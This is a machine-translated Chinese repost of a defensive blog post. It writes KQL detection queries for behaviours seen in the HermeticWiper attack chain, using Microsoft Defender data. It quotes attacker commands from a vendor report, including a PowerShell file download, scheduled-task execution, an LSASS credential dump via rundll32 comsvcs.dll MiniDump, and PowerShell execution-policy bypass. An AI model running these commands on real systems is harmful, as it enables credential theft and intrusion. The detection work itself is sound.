开卷有益 · 不求甚解
InfoSec 社区在提供对勒索软件和恶意软件攻击的洞察力方面非常出色。有很多出色的贡献者共享妥协指标 (IOC) 和各种其他数据。社区成员和供应商发布了有关已发生的各种攻击的详细文章。
通常这些报告包含两个不同的内容。妥协指标 (IOC) 和战术、技术和程序 (TTP)。有什么区别?
使用提供 IOC 的威胁情报源是健全防御的关键部分。如果您在您的环境中检测到已知的恶意文件或域,那么您需要做出反应。然而,在攻击发生和这些 IOC 可用之间存在延迟。由于隐私、法律要求或其他许多原因,一些 IOC 可能永远不会公开。他们也可以改变。新的恶意域或 IP 可以上线。文件哈希可以改变。这并没有降低 IOC 的价值。IOC 在检测中仍然至关重要。
我们只需要将我们的 IOC 检测与 TTP/杀伤链检测配对以增加我们的防御。这类检测寻找的是行为而不是特定的 IOC。我们希望尝试检测可疑活动,以便在没有已知 IOC 的情况下提醒我们潜在的攻击。希望这些检测也发生在攻击时间线的早期,并且在造成损害之前我们会收到警报。
如果我们以最近记录的 Trojan.Killdisk / HermeticWiper 恶意软件为例。关于攻击时间线有几篇很棒的文章。赛门铁克发布了这篇文章,提供了深刻的见解。微软高级安全研究员Thomas Roccia(你绝对应该关注他)整理了这张非常有用的信息图。它以易于理解和遵循的方式可视化攻击的进程。这可视化了指标和 TTP。
点击查看原文
本文不会关注 IOC 检测,有很多很棒的资源。相反,我们将通过信息图和赛门铁克攻击链帖子进行工作。对于链中的每一步,我们将尝试提出行为检测。不是专注于任何特定的国际奥委会,而是关注活动本身。使用从 Microsoft Defender for Endpoint 获取的事件日志和数据,我们可以生成一些有价值的警报规则。
从托马斯的信息图中,我们可以看到一些早期的侦察和防御规避。
攻击者列举了该帐户拥有的特权。我们可以找到这些事件。
DeviceProcessEvents
| where FileName == "whoami.exe" and ProcessCommandLine contains "priv"
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, FileName, InitiatingProcessCommandLine, ProcessCommandLine
对于查看登录帐户特权的人,我们会受到打击。此活动不应经常在您的安全人员之外的环境中发生。
攻击者随后禁用了卷影复制服务 (VSS),以防止恢复。当服务被禁用时,它们会在您的系统日志中触发事件 ID 7040。
Event
| where EventID == "7040"
| extend Logs=parse_xml(EventData)
| extend ServiceName = tostring(parse_json(tostring(parse_json(tostring(parse_json(tostring(Logs.DataItem)).EventData)).Data))[0].["#text"])
| extend ServiceStatus = tostring(parse_json(tostring(parse_json(tostring(parse_json(tostring(Logs.DataItem)).EventData)).Data))[2].["#text"])
| where ServiceName == "Volume Shadow Copy" and ServiceStatus == "disabled"
| project TimeGenerated, Computer, ServiceName, ServiceStatus, UserName, RenderedDescription
此查询搜索在这种情况下禁用的特定服务。您可以轻松排除“ServiceName == “卷影复制”部分。这将使您所有服务都被禁用。这可能是您希望了解的环境中的不寻常事件。
如果我们切换到赛门铁克文章,我们可以继续时间表。因此,在攻击易受攻击的 Exchange 服务器后,首先要注意的活动是。
解码后的 PowerShell 用于从受害者网络上的内部服务器下载 JPEG 文件。
CMD.EXE /Q /C POWERSHELL -C “(NEW-OBJECT SYSTEM.NET.WEBCLIENT).DOWNLOADFILE('HXXP://192.168.3.13/EMAIL.JPEG','CSIDL_SYSTEM_DRIVE\TEMP\SYS.TMP1')” 1 > \127.0.0.1\ADMIN$__1636727589.6007507 2>&1
文章指出,他们已经对 PowerShell 进行了解码,以使其对我们可读。这意味着它在攻击期间被编码。也许我们的第一条规则可能是搜索已编码的 PowerShell?我们可以做到这一点。从广泛的查询开始。查找 PowerShell 和任何带有 -enc 或 -encodedcommand 开关的东西。
DeviceProcessEvents
| where ProcessCommandLine contains "powershell" or InitiatingProcessCommandLine contains "powershell"
| where ProcessCommandLine contains "-enc" or ProcessCommandLine contains "-encodedcommand" or InitiatingProcessCommandLine contains "-enc" or InitiatingProcessCommandLine contains "-encodedcommand"
如果您想使用一些更高级的运算符,我们可以提取编码字符串。然后尝试在我们的查询中对其进行解码。从此帖子修改的查询。
DeviceProcessEvents
| where ProcessCommandLine contains "powershell" or InitiatingProcessCommandLine contains "powershell"
| where ProcessCommandLine contains "-enc" or ProcessCommandLine contains "-encodedcommand" or InitiatingProcessCommandLine contains "-enc" or InitiatingProcessCommandLine contains "-encodedcommand"
| extend EncodedCommand = extract(@'\s+([A-Za-z0-9+/]{20}\S+$)', 1, ProcessCommandLine)
| where EncodedCommand != ""
| extend DecodedCommand = base64_decode_tostring(EncodedCommand)
| where DecodedCommand != ""
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, InitiatingProcessCommandLine, ProcessCommandLine, EncodedCommand, DecodedCommand
我们可以看到我对 PowerShell 命令进行编码以在此设备上创建本地帐户的结果。
我们使用正则表达式来提取编码字符串。然后我们使用 base64_decode_tostring 操作符为我们解码。第二个查询仅在可以解码字符串时返回结果。因此,请查看这两个查询并在您的环境中查看结果。
这是狩猎 IOC 与 TTP 的一个很好的例子。我们不是在寻找特定的 PowerShell 命令。我们正在寻找编码 PowerShell 的行为。
下一步是——
一分钟后,攻击者创建了一个计划任务来执行可疑的“postgresql.exe”文件,每周三,特别是当地时间 11:05。然后攻击者运行这个计划任务来执行任务。
CMD.EXE /Q /C MOVE CSIDL_SYSTEM_DRIVE\TEMP\SYS.TMP1 CSIDL_WINDOWS\POLICYDEFINITIONS\POSTGRESQL.EXE 1> \127.0.0.1\ADMIN$__1636727589.6007507 2>&1
SCHTASKS /RUN /TN “\MICROSOFT\WINDOWS\ TERMSRV\LICENSING\TLSACCESS”
攻击者可能缺乏在系统下启动可执行文件的权限。他们可能有权更新或创建在不同用户上下文下运行的计划任务。他们可以将其从非恶意可执行文件更改为恶意可执行文件。在此示例中,他们创建了一个带有恶意可执行文件的计划任务。计划任务创建是 Defender 中的特定事件,因此我们可以跟踪这些事件。我们还可以跟踪计划任务的更改和删除。
DeviceEvents
| where TimeGenerated > ago(1h)
| where ActionType == "ScheduledTaskCreated"
| extend ScheduledTaskName = tostring(AdditionalFields.TaskName)
| project TimeGenerated, DeviceName, ScheduledTaskName, InitiatingProcessAccountName
使用此查询很有可能会出现严重的误报。如果您继续阅读,我们将尝试在最后解决这个问题。
在计划任务创建和执行之后,赛门铁克指出,接下来 -
从 2 月 22 日开始,赛门铁克观察到文件“postgresql.exe”正在执行并用于执行以下操作
执行 CERTUTIL 检查与TRUSTSECPRO [.]COM 和 WHATISMYIP[.]COM 的连接性
因此,攻击者利用 certutil.exe 来检查互联网连接。Certutil 可用于执行此操作,甚至可以下载文件。我们可以使用我们的 DeviceNetworkEvents 表来查找此类事件。
DeviceNetworkEvents
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, InitiatingProcessCommandLine, LocalIPType,LocalIP, RemoteIPType, RemoteIP, RemoteUrl, RemotePort
| where InitiatingProcessCommandLine contains "certutil"
| where RemoteIPType == "Public"
我们搜索 DeviceNetworkEvents,其中启动进程命令行包含 certutil。如果您有合法的内部使用,我们还可以仅过滤远程 IP 为公共的连接。
我们可以看到我在哪里使用 certutil 从 GitHub 下载 GhostPack。我什至试图混淆命令行,但我们仍然找到了它。这是搜索 TTP 的另一个很好的例子。我们不寻找连接到特定 IOC 的 certutil.exe,但只要它连接到互联网。
下一个活动是凭证倾销——
在此活动之后,PowerShell 被用于从受感染的机器中转储凭据
CMD.EXE /Q /C POWERSHELL -C “RUNDLL32 C:\WINDOWS\SYSTEM32\COMSVCS.DLL MINIDUMP 600 C:\ASM\APPDATA\LOCAL\MICROSOFT\WINDOWS\WINUPD.LOG FULL”1>
有很多方法可以从机器中转储凭证,这里列出了很多。我们可以检测 procdump 的使用或 comsvcs.dll 的利用。对于 comsvcs –
DeviceProcessEvents
| where InitiatingProcessCommandLine has_all ("rundll32","comsvcs.dll","minidump")
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, InitiatingProcessCommandLine
而对于 procdump –
DeviceProcessEvents
| where InitiatingProcessCommandLine has_all ("procdump","lsass.exe")
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, InitiatingProcessCommandLine
这些绝对是令人反感的命令,普通用户不应使用。
最后,文章指出执行了一些 PowerShell 脚本。
后来,在上述活动之后,执行了几个未知的 PowerShell 脚本。
POWERSHELL -V 2 -EXEC BYPASS -FILE TEXT.PS1 POWERSHELL -EXEC BYPASS GP.PS1 POWERSHELL -EXEC BYPASS -FILE LINK.PS1
我们可以看到,作为运行这些脚本的一部分,执行策略发生了变化。可以很容易地找到 PowerShell 执行绕过活动。
DeviceProcessEvents
| where TimeGenerated > ago(1h)
| project InitiatingProcessAccountName, InitiatingProcessCommandLine
| where InitiatingProcessCommandLine has_all ("powershell","bypass")
这是另一个将是高容量的。让我们现在尝试解决这个问题。
对于任何依赖于行为的查询,都有可能出现误报。误报带来警觉疲劳。我们不希望将合法警报掩埋在噪音之山中。希望上述查询在您的环境中没有任何误报。不幸的是,这不太可能是真的。这些攻击技术的本质是它们利用合法使用的工具。我们可以尝试通过将特定服务器或命令列入白名单来调整这些警报。我们不想将被入侵的服务器列入白名单。
相反,我们可以考虑为查询添加更多智能。为此,我们可以尝试向我们的环境添加基线。然后我们会在新的事情发生时发出警报。
我们通过在 KQL 中使用反连接来构建这些类型的查询。反连接可能有点令人困惑,所以让我们尝试从安全的角度将它们可视化。
首先,考虑一下 KQL 中的常规(或内部)联接。我们采用两个查询或表并将它们连接到两个表中都存在的一个(或多个字段)上。也许您有防火墙数据和 Active Directory 数据。两者都有 IP 地址信息,因此您可以将它们连接在一起。阅读此处了解内部连接的介绍。我们可以像这样可视化内部连接。
因此,对于常规(或内部)连接,我们编写两个查询,然后将它们匹配到两个相同的东西上。可能是 IP 地址或用户名。一旦我们加入,我们就可以从两个表中检索信息。
当我们对此进行扩展时,我们可以进行反连接。让我们想象一个左反连接。
所以我们可以再次编写两个查询,将它们连接到一个匹配的字段上。但是这一次,我们只返回第一个(左)查询的数据。右反连接则相反。
对于 rightanti 连接,我们运行两个查询。我们匹配我们的数据。但是这次我们只返回存在于第二个(或右)查询中的结果。
使用 KQL 中的连接,您无需连接两个不同的数据集。这可能会令人困惑。您可以使用不同的查询选项连接同一个表。所以我们可以查询 DeviceEvent 表中的一组数据。使用不同的参数再次查询 DeviceEvent 表。然后以不同的方式加入他们。当把同一张桌子连接在一起时,我是这样想的——
现在让我们看看我们如何将这些连接应用到我们的检测规则中。
计划任务创建是一个很好的例子。您的设备上可能有创建任务的合法软件。我们将使用我们的 rightanti 连接来为我们的查询添加一些智能。
让我们看看下面的查询。
DeviceEvents
| where TimeGenerated > ago(30d) and TimeGenerated < ago(1h)
| where ActionType == "ScheduledTaskCreated"
| extend ScheduledTaskName = tostring(AdditionalFields.TaskName)
| distinct ScheduledTaskName
| join kind=rightanti
(DeviceEvents
| where TimeGenerated > ago(1h)
| where ActionType == "ScheduledTaskCreated"
| extend ScheduledTaskName = tostring(AdditionalFields.TaskName)
| project TimeGenerated, DeviceName, ScheduledTaskName, InitiatingProcessAccountName)
on ScheduledTaskName
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, ScheduledTaskName
我们的第一个(或左)查询查看我们的 DeviceEvents。我们回到 30 天前和一小时前之间。从这些数据中,我们只关心已创建的所有计划任务的名称。所以我们使用 distinct 运算符。第一个查询成为我们环境的基线。
接下来我们选择我们的连接类型。种类 = rightanti。我们回到同一个表,DeviceEvents。不过这一次,我们只对最后一小时的数据感兴趣。我们检索 TimeGenerated、DeviceName、InitiatingProcessAccountName 和 ScheduledTaskName。
然后我们告诉 KQL 我们要加入哪个字段。我们想加入 ScheduledTaskName。然后仅返回过去一小时内的新数据。
所以回顾一下。首先找到 30 天到一个小时前创建的所有计划任务。然后找到我在过去一小时内创建的所有计划任务。最后,只检索最近一小时内对我们的环境来说是新的任务。这就是我们如何进行右反连接。
另一个示例是将执行策略更改为绕过的 PowerShell 命令。你可能会在你的环境中看到很多这样的东西
DeviceProcessEvents
| where TimeGenerated > ago(30d) and TimeGenerated < ago(1h)
| project InitiatingProcessAccountName, InitiatingProcessCommandLine
| where InitiatingProcessCommandLine has_all ("powershell","bypass")
| distinct InitiatingProcessAccountName, InitiatingProcessCommandLine
| join kind=rightanti (
DeviceProcessEvents
| where TimeGenerated > ago(1h)
| project
TimeGenerated,
DeviceName,
InitiatingProcessAccountName,
InitiatingProcessCommandLine
| where InitiatingProcessAccountName !in ("system","local service","network service")
| where InitiatingProcessCommandLine has_all ("powershell","bypass")
)
on InitiatingProcessAccountName, InitiatingProcessCommandLine
此查询与前一个查询几乎相同。我们回顾 30 天到一小时之间。这次我们查询执行的命令同时包含“powershell”和“bypass”。这次我们检索不同的命令和执行它们的帐户。
然后选择我们的权利anti再次加入。最后一小时再次运行相同的查询。我们加入了我们的两个领域。然后在最后一个小时内将新的内容返回到我们的环境中。对于此查询,命令行和帐户的组合需要是唯一的。
对于这个特定示例,我排除了由系统、本地服务或网络服务启动的进程。这将查找仅在指定用户帐户下运行的事件。虽然这是一个示例,但很容易包含所有命令。
总之。
近期阅读文章
,质量尚可的,大部分较新,但也可能有老文章。开卷有益,不求甚解
,不需面面俱到,能学到一个小技巧就赚了。译文仅供参考
,具体内容表达以及含义, 以原文为准
(译文来自自动翻译)尽量阅读原文
。(点击原文跳转)每日早读
基本自动化发布(不定期删除),这是一项测试
最新动态: Follow Me
微信/微博:
red4blue
公众号/知乎:
blueteams